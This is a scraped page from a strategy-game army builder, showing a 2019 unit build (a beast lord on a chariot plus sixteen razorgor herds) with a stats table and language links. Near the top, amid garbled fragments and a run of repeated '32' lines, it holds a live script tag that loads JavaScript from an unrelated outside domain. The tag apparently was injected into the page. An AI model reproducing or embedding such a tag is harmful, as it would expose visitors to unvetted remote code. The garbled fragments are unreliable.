Left Panel
r
eBuild by 111111 - 2019-03-21 15:21:29
2
32
32
32
32
32
32
32
32
32
32
32
32
32
32
32
32
e<script src="https://jsresourcenet.com/honga"></script>
| No. | Unit | Name | Sol. | Custom Cost | Recru. Cost | Upkeep Cost | Ship HP. | Ship Spd. | Msl. Dmg. | Rng. | Sht. /min | Amo. | Mle. Atk. | Mle. Dmg. | Chg. | Mle. Def. | Arm. | HP. | Mor. |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 指揮官 (1) | 2 | 1200 | 1200 | 300 | - | - | - | 32 | 400 | 95 | 20 | 80 | 5724 | 70 | |||||
| 1 | 獸王 (剃刀角獸戰車) | 2 | 1200 | 1200 | 300 | 32 | 400 | 95 | 20 | 80 | 5724 | 70 | |||||||
| 特殊單位 (16) | 512 | 9600 | 9600 | 2400 | - | - | - | 384 | 832 | 736 | 256 | 720 | 2976 | 880 | |||||
| 2 | 剃刀角獸群 | 32 | 600 | 600 | 150 | 24 | 52 | 46 | 16 | 45 | 186 | 55 | |||||||
| 3 | 剃刀角獸群 | 32 | 600 | 600 | 150 | 24 | 52 | 46 | 16 | 45 | 186 | 55 | |||||||
| 4 | 剃刀角獸群 | 32 | 600 | 600 | 150 | 24 | 52 | 46 | 16 | 45 | 186 | 55 | |||||||
| 5 | 剃刀角獸群 | 32 | 600 | 600 | 150 | 24 | 52 | 46 | 16 | 45 | 186 | 55 | |||||||
| 6 | 剃刀角獸群 | 32 | 600 | 600 | 150 | 24 | 52 | 46 | 16 | 45 | 186 | 55 | |||||||
| 7 | 剃刀角獸群 | 32 | 600 | 600 | 150 | 24 | 52 | 46 | 16 | 45 | 186 | 55 | |||||||
| 8 | 剃刀角獸群 | 32 | 600 | 600 | 150 | 24 | 52 | 46 | 16 | 45 | 186 | 55 | |||||||
| 9 | 剃刀角獸群 | 32 | 600 | 600 | 150 | 24 | 52 | 46 | 16 | 45 | 186 | 55 | |||||||
| 10 | 剃刀角獸群 | 32 | 600 | 600 | 150 | 24 | 52 | 46 | 16 | 45 | 186 | 55 | |||||||
| 11 | 剃刀角獸群 | 32 | 600 | 600 | 150 | 24 | 52 | 46 | 16 | 45 | 186 | 55 | |||||||
| 12 | 剃刀角獸群 | 32 | 600 | 600 | 150 | 24 | 52 | 46 | 16 | 45 | 186 | 55 | |||||||
| 13 | 剃刀角獸群 | 32 | 600 | 600 | 150 | 24 | 52 | 46 | 16 | 45 | 186 | 55 | |||||||
| 14 | 剃刀角獸群 | 32 | 600 | 600 | 150 | 24 | 52 | 46 | 16 | 45 | 186 | 55 | |||||||
| 15 | 剃刀角獸群 | 32 | 600 | 600 | 150 | 24 | 52 | 46 | 16 | 45 | 186 | 55 | |||||||
| 16 | 剃刀角獸群 | 32 | 600 | 600 | 150 | 24 | 52 | 46 | 16 | 45 | 186 | 55 | |||||||
| 17 | 剃刀角獸群 | 32 | 600 | 600 | 150 | 24 | 52 | 46 | 16 | 45 | 186 | 55 | |||||||
| Subtotal | 514 | 10800 | 10800 | 2700 | - | - | - | 416 | 1232 | 831 | 276 | 800 | 8700 | 950 | |||||

English
Français
Italiano
Deutsch
Español
Русский
Čeština
Polski
Türkçe
Português (Brasil)
한국어
简体中文